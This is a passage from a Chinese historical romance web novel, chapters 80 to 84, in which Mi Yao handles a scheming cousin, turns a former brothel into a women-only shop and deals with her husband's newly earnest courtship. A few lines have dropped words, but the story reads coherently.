至于什么表亲结亲他一概不知。
“回镇使的话,起因是有人往慈济院门口扔了残缺的孩子,夫人派人调查后,发现表亲结亲容易诞下有问题的孩童,与姜大夫商量后,去找了文司马,而又找了几个德高望重的大夫,几道商议后,夫人与大夫们收集了不少未出五服的表亲生出畸儿L的例子,希望节度使能下达禁止未出五服的表亲联姻禁令。”
“父君下了?”
“还未,但听文司马的意思,禁令会下,如今还停留在商议刑法程度。”
大概知道了事情始末,萧欻也走到了门前。
吵闹不止的门前因为倏然出现的阴影,声响断了片刻。
虞佳音站在人群之中,她是第一个看到萧欻的,看到人她就骇了一跳。
萧欻个高面冷,一身在日光下泛着暗红的玄色衣裳,与他肃杀气质相符的是他脖颈上有一条猩红狰狞的伤痕。
这样的气质,哪怕萧欻的五官深邃英俊,也让人退避三舍。
看出萧欻身份不一般,虞佳音正琢磨他是谁,是不是宓瑶叫来的救兵,就听到有人开口叫了镇使。
听到这个称呼,虞佳音眼眸一亮:“你就是萧镇使?”
萧欻目光瞥向她:“你就是闲生事端,找我夫人麻烦的罪女?”
杀过人的将军与长得漂亮的女娘是两回事,宓瑶说话尖锐,旁人还能开口对峙,而萧欻开口,就让人难以招架,生不出反驳的勇气。
虞佳音脖颈一缩,声音小了不少:“你怎么能这般说,我可是虞家的嫡女……”
“你们因何事在此作乱?难不成是赵支余孽,想害我夫人。”
萧欻话落音,侍卫齐齐亮出兵器,刀刃出鞘的锋鸣吓得百姓跪地求饶,虞佳音虽然没跪,但浑身颤抖也没好到哪里去。
她知道宓瑶嫁给了出身低贱的泥腿子,萧欻没成赵天赫继承人之前,她只觉得宓瑶可怜,一生要强却嫁给了那么个男人。
等到萧欻起势,成了人人看好的香馍馍,她就忘了之前骂萧欻上不了台面的话,只想着宓瑶运气好,随便嫁都就嫁了那么个出众的男人。
她来益州目标不是与萧欻结亲,但那么个出众男人,她心中自然会生出想法。
比如萧欻若是见着她对她一见钟情,觉得她比宓瑶好了千倍万倍,她不是不能委身于他。
谁知道萧欻甫一出现竟然是这个样子,哪里有剑南少主的模样,分明就是个蛮横无理的莽夫。
“是不是虞四污蔑了我什么,我可没有做错事,我带这些人来,都是为了讨公道……”
见这些百姓吓得一句话都不敢说,虞佳音怕硬生生错过这次好机会,不由开口为自已辩解。
她捏着手心,强装镇定地去看萧欻,她就不信宓瑶那么有本事,把堂堂一个大将军迷惑的半点道理都不讲。
“你要为何人讨公道?我夫人为父君做事,所做之事都是父君首肯,我看你是妖言惑众,想造益州的反。”
“对对对,就是这个女人,到我家说要给我银子,让我来慈济院闹事,!”
,又收养孤儿L,简直是菩萨下凡,我还领过夫人赈灾的米粮,我怎么可能对夫人不满,蒙蔽了!”
,她心怀不轨,想害死我们——”
有石头,说到激动处,重重往虞佳音的身上一砸。
虞佳音被砸个正着,疼的眼泪直冒。
而这块石头就像是一声号令,其他不满的人也开始对虞佳音动手。
萧欻没开口制止,听够了这些百姓一边对虞佳音拳脚相加,一边喊着夫人如此好,要杀了妖女为夫人挽救名声。
才挥手让濮青上前,把人送到官府。
虞佳音被打的头晕眼花,听到萧欻还要把她送官,吓得整个人都在颤抖,她算是明白了宓瑶为什么会有那么大的变化。
嫁给了那么个不讲理的疯子,宓瑶怎么可能不变。
“我是……嫮嫮的二姐,送我见官……她面子上也不好。”
虞佳音嘴巴被撕破,开口说话含糊又磕巴,这会儿L她看萧欻的眼眸哪还有之前的明亮,只剩下了想逃的恐惧。
“任由你欺辱我夫人,才是伤她的面子。”
萧欻语调如同寒冰淬过的刀刃,说完不再给虞佳音说话的机会,让濮青捂了嘴扛走。
没了虞佳音,剩下的百姓极好打发,鄢妘想趁着这些人不敢反抗的时候,让大夫跟他们说说表亲结亲有多不好,便劝萧欻先走一步。
“萧镇使才回来,还是与嫮嫮多说说话,最近嫮嫮累得不轻,你能在这时回来护着她,实在是太好了。”
这些百姓来闹,除却虞佳音的扇动,还有世家大族想探探底子。
表家联姻一直是世家大族为了增强实力,互相联合的手段之一。
虽然现在文司马那边透出的口风是若是想表亲联姻不是不行,只要用银子赎罪即可,但两边还是在拉锯之中。
之前宓瑶就与她们说过,很有可能会有人来慈济院闹事试探。
“虞二娘子是嫮嫮的堂姐,她不分是非与嫮嫮唱反调,嫮嫮一定觉着委屈,萧镇使你要好好安抚嫮嫮才是。”
“我知晓。”
萧欻点头,只是他往宓瑶书房迈步的步子有几分踌躇,明显是不知该如何继续方才的话题。
听到宓瑶带着轻蔑的怨怼,他第一反应就是反驳。
他从未把她当做玩意。
但冷静了片刻,他却不知该从何处反驳,只恨虞佳音太过蠢笨,竟然只能耽搁他片刻时辰,不能让他彻底想清如何应对宓瑶的质问。
步子再慢,萧欻抬头还是走到了书房前面,他抬手敲了敲,里头不应他就等着,等了半晌觉得不对,推开屋门才发现人根本不在屋内。
“夫人从后门走了,应当是回了府邸。”
诗雅如今被调到慈济院当管事,不太清楚宓瑶的行踪,只能揣测地说道,“要给镇使备马吗?”
“备。”
既然宓瑶都走了,萧欻再留也没有意思。
只是他没有立刻回萧府,而是先去了趟节度使府。
听完赵天赫夸奖完他娶了个好妻子,以及商讨完正事后,萧欻没拒绝赵天赫的留饭。
只是他愿意留下,赵天赫却反悔了。
“瞧我孤身寡人惯了,如此不解风情。”
赵天赫哈哈大笑,“你几日没回府邸,该跟夫人孩子团聚,我怎么能压着你陪着我这个老头子吃饭。”
“父君多虑了,我与他们随时能一同用饭。”
“回去吧回去吧!”
赵天赫摆手赶人,“我还能不知道你,事情一了就挂着脖子上的伤去接人,没把人送到家又被我派遣出城,这会一定满脑子都是你的媳妇。”
萧欻想说没有,但脑子里的确全都是宓瑶。
如此只能朝赵天赫告辞,承诺下次再陪他用饭。
“回去哄哄你媳妇,她最近做了不少实事,一两百个孤儿L别看少,但也为我们解决了不少麻烦。”
慈济院收养孤儿L,收的最多的就是将士遗孤,这事他一直想做,奈何抽不出那么银两,只能换做抚恤发下去。
而这些抚恤最后有没有落在遗孤身上也不得而知。
宓瑶的慈济院若是能成气候,他一定少不了帮扶。
萧欻应了声:“父君放心,我知她辛苦,我会好好……哄她。”
所有人都让他哄一哄宓瑶,他也晓得自个要哄她,但具体如何哄,却没一个人告诉他。
等到站在宓瑶门前,看着屋内的摇曳的影子,他脑海中依然在想,他到底对宓瑶好还是不好。
他觉着的好,是不是就像是她所说,只是他在极力让自已高兴。
那做何等事才能让她高兴?
金银珠宝,还是帮她将一切事情处理周全,让她可以恢复曾经的懒散轻松?
80-90
第81章 第八十一章【VIP】
“爹是在门口装鬼吗?”
萧良打开门,仰头看萧欻的目光,就像是在看不懂事的傻大个,“娘亲已经睡了,她最近天天都在奔波做事,疲惫得很,爹要是有事找娘亲,要挑一个不打扰娘亲休息的时辰,而不是大晚上在娘亲门口站着吓人。”
萧欻没想到萧良会在这,看着他稚嫩严肃的肉脸,伸手在他脸上一捏。
“越来越啰嗦。”
被萧欻捏脸,萧良愣了愣,平日里娘亲爱揉捏他和妹妹的脸,除此之外,舅舅舅妈偶尔也会摸一下。
但爹却从未做出过这个动作。
这个动作对于他们父子来说似乎太亲密了些。
萧良不自在地捂着脸,没注意萧欻说了什么话:“既然阿爹你都讨好我了,我就许你去看娘亲一眼,你要轻轻的,别吵醒她。”
“捏你一下便是讨好?”
萧欻边往屋内走边压低了嗓音。
萧良跟在旁边同样悄声说话:“嗯嗯,我觉得阿爹越来越喜欢我了。”
闻言,萧欻步子顿了一下,低头看向萧良,见他圆润的黑眸炯炯有神,没有因为他的注视而害怕,反而更认真地看着他,期待他说些什么。
萧欻重新迈步前,“嗯”了一声。
宓瑶说得对,他的确是见高挂在苍穹的明月洒下银辉,生了爬出阴沟的念头。
萧良他们因为她而变化,为何他不能也从她身上得到不曾拥有的一切。
他的喜爱的确是想自已快活,并且觉着她能让他生出这般妄念,已经是最大的赢家,应该极力的让他快活,而不是仗着他的爱重对他阴晴不定。
走到床边,萧欻盯着宓瑶的睡颜,想伸手触摸。
而在旁的萧良往床沿一趴,小声道:“娘亲真好看。”
说着,顺道伸出小肥手打开了萧欻伸出的指尖。
“看看就行了,别动手动脚把娘亲弄醒了。”
回应萧良的是倏然升高的视线,萧欻不止抱起了他,还把在床铺内侧熟睡的萧善抱了起来,一手一个,把他们送回了听松院。
解决了小的,萧欻终于如愿以偿摸到了宓瑶的脸。
而再多的,他想起他把萧良放到小床上,萧良的提醒。
“阿爹,喜欢娘亲就不要气娘亲哦,只可以娘亲主动亲亲你,不可以你偷偷亲娘亲。”
萧良说这话的时候紧紧盯着萧欻的嘴巴。
他无意间听到每次爹娘关着门,都是爹在亲娘亲,这般一想十分的不公平。
比起爹,娘亲明显更喜欢他,就因为阿爹可以晚上跟娘睡一块,而且力气又大,所以娘不知道被阿爹偷偷亲了多少下。
“要乖乖的娘才喜欢。”
想到萧良欠揍的神情,萧欻俯身想吻宓瑶的唇,不过唇瓣碰触前,他又抬起了头,冲了个凉水澡,之后老实地睡到了宓瑶身边。
等到翌日醒来,宓瑶感觉旁边有个人,闭着眼摸了摸,摸到了整齐的腹肌就确定了是谁,准备闭着眼继续睡觉,就听到男人沙哑的声音响起:“你亲我一下。”
宓瑶以为是睡迷糊了产生幻听,下一刻又听到:“不愿亲唇的话,可不可以亲脸,随意哪里都成。”
沙哑磁性的嗓音既是压抑又带了丝恳求。
虽然声音还是熟悉的那个,但透出的情绪却教人陌生。
宓瑶本来想闭着眼当做听不见,可她能感觉到萧欻恍若实质的目光落在她身上,以及他奇怪的请求不断在脑中回想。
睁眼抬眸,萧欻果真在定定地看着她。
只是锐利的褐眸与往常不同,没那么强的攻击性,只是渴望的情绪也没好到哪里去。
一双招子燃着熊熊火焰快把她烧没了。
她没忘记昨日她对他说了什么,正是记得她才觉得不解。
本以为他会不满她的态度跟她继续冷战,或是讥讽她贪得无厌,谁想到他会选择来她床上扮演十分想舔舐她,却又怕惹她生气克制本性的大型狗。
见宓瑶睁眼,萧欻的身体往下移动,宓瑶原本放在他小腹的手也滑到了他的胸口。
“可以吗?”
两人目光对视,宓瑶感觉到随着萧欻的询问,他连着胸前的肌肉都兴奋的跳动了一下。
抽出了自已不老实的手,宓瑶往旁边一滚:“不可以。”
说完她不看萧欻,等着听他发怒的声响,等了半晌却没等到。
,去洗漱前,又问了宓瑶一道。
再停,谁知道他出来又问了一次,离开房门前,坐在床榻边上,目光满是索求地看了她片刻才踏出房门。
“简直疯了。”
招数,被衾一盖打算继续睡觉,不过这几日起得早了,加上被萧欻那么一打扰,怎么睡都睡不着。
心中骂了萧欻几句,宓瑶恶狠狠地坐起。
什么刺激?”
宓瑶出院子瞧见濮青,朝他问道。
她早预料虞佳音会找上门,知道虞家这几个人在她身上讨不到好,会把希望放在萧欻身上。
所以见萧欻主动去见人,她直接躲了。
萧欻能把人骂走当然好,若是骂不走,那几个虞家人就是他的责任,他要负责他们的吃喝拉撒,还要帮他们实现家族大计。
昨日回到府邸因为手上有别的事要忙,她就忘了询问萧欻是如何应对,今日要不是看他奇奇怪怪,她都要忘了这事。
“镇使没受什么刺激。”
濮青回想了一下,想不到昨日有什么事能刺激到主子,“若是刺激应该是虞二娘子受了刺激,她被官府羁押,前一个时辰才被赎出。”
“哦。”
宓瑶来了几分兴致。
听完濮青说萧欻三言两语击退虞佳音,而虞佳音被收监后,虞成达到处奔走,几乎一夜没睡找关系救人。
找来找去几次路过萧府都不敢敲门,宓瑶忍不住扑哧一笑。
还是得横的来,她说个几句虞成达就用孝道拿捏她。
现在不留情面的人换做萧欻,哪怕两人不是正面对上,虞成达光是听到虞佳音得了什么待遇,就怕成了缩头乌龟。
因为觉得萧欻做得好,用膳时宓瑶触到萧欻的目光,下意识对他露了个好脸,谁知道这一笑就笑出了问题,萧欻眼中的求索更甚。
触到她脸上笑意,就像是得到了什么信号,不断的给她夹菜,眼巴地看着她吃饭,就像是催促着她快些吃完,好找个没人的地方,让他扑到她身上兴奋地好好舔舐一番。
第82章 第八十二章【VIP】
宓瑶被萧欻看到害怕,吃完饭就溜到了甄婧房里,抱了会满满,才思考萧欻这是在发什么疯。
揣摩萧欻的用意不难。
他既不跟她吵闹,也不与她冷战,那就是把她说的话当做了一回事。
所以他是在讨好她?
想到今天萧欻半天的行为都是为了让她高兴,宓瑶抖了抖身上的鸡皮疙瘩,觉得他还不如给她添堵。
原本她是想尽情的享受他情窦初开的喜欢,能趁机捞多少好处,就捞多少好处。
但看他一副我都那么爱你,恨不得把我的心撕开给你看,你还那么冷血无情的模样,实在看得心中无名火不停上升,就与他撕破了脸。
谁想到她撕破了两人那层朦胧的暧昧面纱,把他做的一切都赋予了丑陋、自私的定义。
这种情况下,她觉着再上头的男人被泼那么一盆冷水,也会恼羞成怒,他却选择了退让……虽然看不懂他现在是个什么路数,但应该是在退让没错吧?
宓瑶对上怀里满满湿漉漉的大眼睛:“你就好了,每天吃了睡睡了吃,光是用这双漂亮眸子盯着人瞧,就让人想把什么都给你,也没人想从你这里得到什么。”
满满正是喜欢听旁人跟她说话的年纪。
特别是宓瑶这般好听温柔的声音,她乐的眉开眼笑,伸着小短手乱挥乱抓。
见女儿被宓瑶越抱越精神,甄婧干脆让奶嬷嬷把孩子抱到萧善他们那边,让他们几个孩子一起玩一会再午睡。
“你这话说的,满满的眼睛漂亮,难不成你的就差到哪里去,我看只要你愿意多看妹夫两眼,他连星星都愿意给你摘。”
若是以前甄婧不敢保证,但今天她瞅着萧欻如狼似虎,不加掩饰恨不得把宓瑶活吞了模样,觉着让萧欻摘星星月亮都是小事,只怕宓瑶愿意摸摸他的脑袋,他连命都可以给宓瑶。
“我看他做什么。”
看到甄婧凑近的脸,宓瑶还有什么不明白的,她把满满送到听松院,就是想制造个没人打扰的环境,好审问她满足好奇心。
果真甄婧下一句就是:“你与妹夫是怎么了?今日他瞧你的眼神我在旁边看着都觉得害羞。”
“可能他吃错了什么药。”
宓瑶说完,见甄婧一脸兴味地盯着她瞧,忍不住摸了摸自个的脸,说不定不是萧欻发疯,而是她最近越来越美,所以所有人都盯着她不撒眼。
想着她就取了铜镜欣赏起自己的脸蛋。
最近虽然忙碌,但该做的皮肤护理她都没有落下。
她时刻谨记着自己是来享受的,哪怕要乐善好施,做一些可以让良心更舒服的事情,也要把自己摆在第一位。
所以这些天下来,就听身边的人说她辛苦疲倦了,她自己是没多少感觉。
见说着说着,宓瑶看起了镜子,拉着她一起涂抹香膏,甄婧一边可惜挖不出夫妻俩的秘密,一边感谢老天给了她宓瑶那么个小姑子。
以前没与宓瑶交好的时候,她也会在身上涂抹一些调制的香膏,但味道与作用都没有宓瑶弄得好。
宓瑶不藏私,所以几个月下来她觉得自个嫩白了不少。
特别是宓瑶找姜大夫特意给她调制的药油,她一直涂抹到现在,肚子与腿上都没留下她母亲那般生育后的痕迹。
这么好的小姑子,萧欻会移不开眼再正常不过。
“你不想说,我也不追问你,我看妹夫不像是心血来潮,你总不能一直那么闪躲,不如你开口哄哄他?”
以往有他们这些外人在,萧欻时时都是面冷的模样,她只能从夫妻俩闭门不出,看出萧欻面冷心热。
而如今萧欻不止是心热面也热了起来,爱意都写在了眼里。
说来也奇怪,萧欻的气质身形摆在那里,就算是流露出了求爱模样,神态也跟可怜挂不上钩,可就是让人想劝宓瑶两句,让她哄哄他。
可能是他眼中的渴望太热烈,而宓瑶的闪避又太明显,才让旁观者跟着于心不忍。
不过她还从未见过宓瑶怕过什么,她觉得宓瑶与萧欻是一个在摇尾乞怜,一个视而不见,说不定她这个旁观者只是想太多,夫妻俩在玩什么秘而不宣的游戏。
她着急上火,反而影响了他们促进感情。
那么一想,她就没再多事,只是偶尔露出恍然大悟的表情,瞧着宓瑶眉开眼笑,赞宓瑶与萧欻感情真好。
宓瑶听多了,自己都疑惑了起来,现在把男人当狗已经是对男人好了?
*
虞少阳本来怕虞成达带着闲杂人等过来,宓瑶跟萧欻的感情会受影响,谁知道萧欻如此干脆利落,直接把虞佳音送进了牢房。
这样不止省了宓瑶的事,对他来
接下来的一段时问,虞成达几人被萧欻的不讲情面吓到,既没有再上萧府,也没有再找宓瑶。
只是都没有走的意思。
里不走搞得心烦,后面见他们老实就懒得管了,反正他的俸禄就那么多,官职不高不低,好吃好喝的供不上,更找不到象。
本以为这般他们觉开,谁知道两个月过去,没一个人要走。
“女,哪怕是嫁过人,也不该自甘堕落当人外室!”
虞少阳恼怒地朝甄婧说道,他为人子,再烦虞成达,也不能在明面上刻薄他们。
所以他只能用冷漠的态度企图把虞成达等人逼走,谁知道他们越住越自在,他觉得不对,就留了个心眼,让人跟踪虞佳音每日出门都去哪里。
然后就发现了她与一位有妻有子的官员来往甚密。
“别吓着女儿。”
见虞少阳情绪激动,甄婧看了眼榻上熟睡满满,“说不定是误会,我看二姐的性子,不像是愿意做人外室。”
若是虞少阳说的那人身份高些倒是有可能,但那官员只是五品,她不觉得虞佳音会愿意那么委曲求全。
“不是外室那便是想登堂入室,挤掉那人的原配当正式夫人。”
虞少阳没好气地说道,说完想到虞佳音的性子,觉得这事极有可能,他查了那个跟虞佳音来往的官员是江南人士,与他一样,都是赵天赫挖到益州的人才之一。
早年问那人求娶过虞佳音,被虞家家主衡量后拒绝。
“我看大伯早就为二姐做了两手准备,要是有萧欻帮忙,能找到更好的再嫁对象,那是极好,若是萧欻不愿,还能让二姐去找曾经对她有意男人。”
甄婧听得眉头紧皱:“二姐是大伯的亲生女儿,大伯应当不会为了虞家铺展人脉关系,让她去算计一个有妻子的郎君吧?”
不*管是当外室,还是挤掉原配,都是难听至极的名声。
“他怎么做不出来,他就算犹豫,我看虞佳音那个性子,她也乐意主动去这般做。”
“那现在怎么办?要不要让嫮嫮知晓?”
拦肯定是要拦着虞家人犯傻,但虞少阳是儿子又是弟弟,这个拦不知道要怎么拦才好,而宓瑶那边明显表现出了对虞家人的厌烦,也不好拿这些事烦她,让她出主意。
“我能解决,不必让嫮嫮知晓。”
虞少阳开口交代,他不信虞佳音不要脸面,那个前途光明的官员也不要脸面。
但实际上真就不能高估在外通奸男人的要脸程度,没过两日,宓瑶就晓得了这事,还是因为被男人阴阳到了跟前。
第83章 第八十三章【VIP】
事情还得从赵家旁支联合吐蕃造反开始说起。
赵家旁支被赵天赫大义灭亲后,所有财产充公。
这些充公的财产里,赵天赫拿了部分奖赏给身边立功的属下,萧欻得的最多。
宓瑶对萧欻的奖励不感兴趣,耐不住萧欻什么都要往她兜里塞,所以手上平白多了不少房产地产。
这里面有一处就是中心地段的一层酒楼。
知道这个地段的酒楼流水少不了,宓瑶接手后就立刻派了霜华过去,让她尽快让酒楼恢复经营。
而霜华去了没多久,就脸色不好的回府,听到她说出那酒店以前做的勾当,宓瑶也脸色不好起来。
赵天赫治下的州府女性地位偏高,军中不设军妓,但这都是相对而言,益州依然有花街,并不禁嫖。
她得的这酒楼说是做正经生意,但服务的侍女个个貌美如花,酒楼后面连着一所宅院,屋子装的既像客栈又不像。
毕竟客栈是空屋子,但这些屋子每间都住了个女人。
知道赵家人怕赵天赫不喜,表面挂了正经酒楼牌坊,暗地里却在做娼妓生意,宓瑶恶心的将酒楼和后院都重装了一遍。
里头的女子她没再度发卖,而是问了她们是想走,还是留下来为她做事,当然为她做事就是正正经经的当茶博士。
听到宓瑶的话,几十个女子有人高兴,也有人犹豫。
“我父母双亡无处可去,我倒是愿意留在夫人手下做事,但晓得我底细的人,怕是会觉得我恶心,不愿让我端茶送水。”
“我倒是有爹有娘,但娘是后娘,他们把我卖进来,夫人就是愿意放我走,我也无处可去。”
能卖一次就能卖第一次,她离开这儿没什么好处,只会帮她亲爹后娘再发一次财。
听到这话,原先高兴的女子也都收敛了喜悦。
她们这里大部分都是被卖进来的,若是走也无处可去,可要是留又如第一人所说,宓瑶要开正经酒楼,而那些正经的客人知晓她们的底细,会嫌弃她们脏污,不愿让她们伺候。
这般一想赵家人死了,她们换了个好主子,依然没有活路。
一时间人人垂头丧气,屋子里气流都被影响的凝滞,宓瑶觉着喘气都有点费劲。
“我说,我这个雇佣你们的雇主都不怕你们吃白饭,你们怕个什么?”
宓瑶开口道,“不管你们留下还是离开,我都会归还你们身契,不拿取你们的任何钱财,你们可以拿着银子出去立女户做生意,也可以在我手下做活,得我庇护,不过我建议你们别被男人欺负了那么多年,还觉得男人靠得住,从一个狼窝跳进另一个狼窝。”
后头一句是宓瑶想到了古往今来,靠着一张嘴从花娘身上发财的书生特意提醒。
任何世道都是笑贫不笑娼,手中有银子谁都对你有个好脸,但等到没了银子,那你就变成了不配的“脏女人”。
听到宓瑶提醒,原本几个想投靠老客的,也有了几分思量。
“既然夫人不嫌弃我愿意留下。”
说话的是第一个发问的女娘,就像宓瑶说的,她这个当雇主的都不怕亏欠,她们这些仆人怕个什么。
“你叫什么?”
见她说留下后,又有几人跟着她一样确定留下,宓瑶看出她在这群人有一定的号召力,朝她问道。
“回夫人,我以往的花名是樱桃,在之前的叫柳笨丫。”
柳娘低头道,“都不是什么好听的名字,若是夫人愿意赐名,奴感激之。”
“我记着了,名字这事不好随意,明日再给你们送新名字过来,你们自己选择,当然若是你们自己有想好的名字,也可以报上来,如今你们的人生已经不同,该有个与以往不同的新名字。”
宓瑶说完,有几个女娘忍不住哭了起来。
听到宓瑶说给她们身契还她们自由,她们无法激动,她们是被卖过一次的人,哪有什么自由可言。
但现在听到宓瑶说她愿意庇护她们,她们将会有不同的人生,她们才有了未来会有所不同的实感。
哭像是会传染一般,屋中人都大哭了一场,才一一给了宓瑶答案。
留下来的是大多数,但也有人觉着宁愿靠着皮肉当上等人,也比做端茶送水的丫头更好。
对待这部分人,宓瑶没有为难,,归还财物,销了她们的卖身契。
只有一人因为柳娘检举,说私下打杀了几个伺候的丫头,宓瑶查证后,把人送到官府。
如今官府监牢人满为患,看了宓瑶送上的证据,隔日便斩了女子的脑袋偿命。
“简直就像是做梦,先是我们有了好的新主子,袋。”
说话的是伺候丹娘的丫头,丹娘都死了两天,她还没回过神,“么多,没
她还记得前几日夫人要跟丹娘算旧账,丹娘不屑一顾,没把夫人放在眼里,还说夫人是伪善,要把她们放走不是善良,是怕她们漂亮,得了萧镇使喜欢。
“之前传言春景楼被节度使送给萧镇使,丹娘就说要如何魅惑萧镇使,让萧镇使做她的裙下之臣,没想到……”
柳娘,就
她去寻宓瑶告状,只是不想丹娘走的那么干脆,丹娘作为春景楼最漂亮的女娘之一,声如黄鹂,最懂得如何讨好男子。
赵家那些郎君为她着迷的不少,还有人想把她领回府邸,是丹娘自个不愿,更喜欢在春景楼被人追捧的感觉。
这般人哪怕品德有缺,利用的好依然可以带来巨大收益,谁知道宓瑶说杀就杀,不带半点犹豫。
“我们真是有了好主子。”
柳新不禁感叹。
她们这些人除却被卖进来,还有些是得罪赵家人,或是单纯被赵家人看上容貌,被弄进来强迫为妓。
对于那些被害的女子,哪怕现在赵家旁支已经死绝了,宓瑶依然把状纸送到了官府,为她们伸冤还她们公道。
“往后你就要跟在夫人身边了?”
柳新看向一旁没有搭话的侯敏。
除却她找宓瑶告状,先后还有几个女娘去找了宓瑶,其中就有侯敏。
侯敏就是家中得罪赵家人的官娘子,她爷奶族亲倒是都还在,等她是他们为了让赵家人消气,亲手送到赵家人手上,所以报了仇之后,她根本没想过回到侯家。
她手上积攒了一些银子,想要立女户自己过日子,但想到侯家人一定会纠缠不休,所以找了宓瑶提出她能不能去慈济院做事,因为实在不想留在春景楼,哪怕酒楼换了装潢。
这倒是提醒了宓瑶,所以让霜华给她们送名字时,让留下这些人又选了一次,除了留在酒楼还能去慈济院做工。
至于侯敏因为认字,还跟母亲学过如何管理中馈,就被宓瑶留在了身边。
手上资产不多的时候不觉得,资产一多,宓瑶就深深感觉到了人才不够用,所以管理型人才送上门,她自然收下培养。
“你们平日有空可以认些字,夫人是好人,她并不在意我们曾经被人如何,只要我们愿意变好,她就愿意给我们机会。”
收拾好行囊,侯敏朝众人说道。
她去找宓瑶,以为能去慈济院就已经是宓瑶开恩,只有主子指派下人做事,哪有下人与主子说换工。
但宓瑶比她想的要更好,她这般的过去,只因为她识字懂得算账,宓瑶就要她留在身边,完全不介意旁人怎么说。
有这样的雇主,只要她们愿意好好活,怎么可能活不下去。
听到侯敏的话,在场人点了点头,遇到宓瑶是她们天大的好运气,若是不好好珍惜,那就是跟丹娘一般犯贱。
经过了一个月的重修,春景楼更名为香雪楼重开。
因为这地方以往做的生意恶心,宓瑶再开之后就没想着做酒楼客栈,而是改成了只接待女客的复合型店面。
一楼卖成品首饰,护肤品,一楼则是女眷喝茶吃点心地方。
在征得互助会其他夫人同意后,宓瑶在一楼挂了牌,这里定为互助会聚会茶室。
就像虞琇与霜华所说,宓瑶身上有挖不完的宝藏,所以这次香雪楼的特别之处,还是从宓瑶身上挖掘。
她那些护肤的法子与用品,还有想出的饰品花样,连带跟厨子们研制的新鲜点心也全都拿了出来。
宓瑶的脸就是招牌,只要说楼里卖的花露,香膏,都是宓瑶自用,谁还管香雪楼以往是做什么的。
再者香雪楼的点心实在特别,没几天,宓瑶就在香雪楼旁边开了间不做堂食,专门外带的点心铺。
一通忙下来已经是一个月后,因为感谢互助会从慈济院到香雪楼提供帮助,宓瑶给了自己两天假期,特意备了个宴,打算与互助会的娘子们聚一聚。
萧欻看宓瑶终于停歇下来,还以为两人有了好好说话的时刻,谁知道她又要与外人聚会。
若不是太清楚宓瑶的性子,知道她不会为了躲他,而自找麻烦忙碌不停,他都要自抬身价,觉着宓瑶是怕了他灼热的感情害羞避开。
把宓瑶送到了香雪楼,萧欻站在门前,恋恋不舍地瞧着她。
“散时派人与我说一声,我过来接你。”
对于萧欻如今缠人,宓瑶从开始的不习惯,到现在已经能面对自如。
触到他眼中毫不遮掩的情绪,宓瑶“嗯”了声,转身进门后听到齐娘说萧欻还在原地,宓瑶脚步顿了顿下,觉得自个高看了自个,她对萧欻这一个多月来的变化,仅仅是能面对,远远不能到自如。
他要是私下露出赖皮的模样还好,但他现在就像是完全不要了面子,不介意让任何人晓得他在费心思讨好她。
对,就是讨好。
作为一个没追求过女子,甚至觉得女子没什么大用不值得他费心的男人,听了宓瑶说的中意一个人就要让她快活后,萧欻就开始学习如何让宓瑶快活。
知道慈济院与香雪楼都是宓瑶想做的事业,他没有代劳的意思,只是把濮青给了她,除此之外,他每天想亲吻她想的发疯,也只是渴望看着她,每天晚上躺在床榻上,没有她的同意他便不越界。
这一点上,宓瑶真觉得萧欻非常的厉害,她每天早晨看到屹立不倒的牛子,还有他眼里的灼热,都觉得他要装不住爆发了。
偏偏他一忍就是一个多月,连初一十五都没跟她歪扯。
搞得她都觉得他是不是在折磨她了。
毕竟有些事情她身体习惯了之后,天天被萧欻那样的目光盯着,心里不想要,身体却会发热做好准备,如果不是有工作可以让她分神,她估计早就跳到萧欻身上大干一场。
第84章 第八十四章【VIP】
想着萧欻什么时候能恢复正常,宓瑶与鄢妘她们说话都有些心不在焉,等到回神是因为屋外的男女吵闹声越来越大。
“怎么回事?”
宓瑶看向出门看完热闹,又迅速返回的齐娘。
“是季娘子与她的夫君,季娘子的夫君送她过来,说要进香雪楼,看看里面在做什么。”
“顾郎君不知香雪楼只接女客?”鄢妘皱眉问道。
“季娘子说了,但她夫婿像是脑子有毛病听不懂人话,说什么这里只许女子出入一定是有问题,要进来看看里头到底是在做什么见不得人的事。”
这话说的难听,在场人都皱起了眉头。
宓瑶要用曾经为妓的女奴,互助会不少成员觉得膈应,不解宓瑶为何收留这些女子,这般是脏了她们的名声。
但经过宓瑶的开会,提及她们互助会成立的初衷,留下没退会的都是接受了这些女娘。
等到香雪楼开业,点心与香膏在城内的大火,更没人再纠结店内的茶博士曾经都做过什么。
反倒觉得这间店十分方便,只许女客出入,伺候的人也都是赏心悦目的女娘。
连带宓瑶原本想弄几个英俊的男奴,都被互助会的成员否了。
纯女的环境太让人放松,若是多几个男人,哪怕是伺候人没身份的店倌,也让人觉得太过多余。
“慈济院刚开时季娘子没少去帮忙,后头不去了,听说就是顾郎君觉得慈济院收养的全是无父无母的孤儿,这些人是天煞孤星,接触多了影响运道,不许她跟慈济院再有接触。”
鄢妘几人一边跟宓瑶往外走,一边朝她说道。
听到天煞孤星这个说法,宓瑶愣了愣,没想到还有那么个迷信角度:“没出息的男人就是厉害,功不成名不就不晓得检讨自身,什么都能成他倒霉的缘由。”
“慈济院的孩童大多是剑南军的遗孤,不知顾郎君怎么说得出口。”
听到顾允潇出言不逊,鄢妘气得不轻,怕宓瑶也跟着气闷,才没第一时间告诉她,现在看来应该早跟宓瑶说才是。
宓瑶何时能因为旁人气闷,听到宓瑶说顾允潇没出息,她那口郁气才解开。
看出鄢妘上火,宓瑶拍了拍她的手道:“这种没本事的男人,在街上踩到狗屎估计都要回家看家中女子的□□,看看是不是女眷来了癸水让他倒霉,你把他的蠢话当回事,也太看得起他了。”
闻言,周围笑做一团。
宓瑶她们是边走边说,所以停到门口时,正好让顾允潇听到了女子□□往后的话。
乍看到宓瑶,顾允潇不由惊叹宓瑶的美貌,但听到她说的话,不由眉头紧皱,一脸厌恶。
“你还是世家贵女,竟然在光天化日之下大谈污秽之事。”
顾允潇顾不得在与妻子争吵,轻蔑地看向宓瑶,虽然虞佳音容貌不如宓瑶,但贵女姿态比宓瑶不知强了多少。
又是收养孤儿建立满是贱民的慈济院,如今又在曾经是妓院的地方弄了个只许女子进出的香雪楼。
比起原来的春景楼,香雪这两个字更俗,让人不由怀疑宓瑶的险恶用心。
宓瑶递给周围众人“你们看吧”的眼神,才打量了顾允潇一遭。
顾允潇长相不算出众,连带身量也不算高,只是皮肤白皙,身上有几分文人气,看着才没有糟糕到底。
“虞夫人,你别在意,他只是不想我今日参加集会,我跟他回去就是。”
季婉芸面色憔悴,打着精神朝众人告罪。
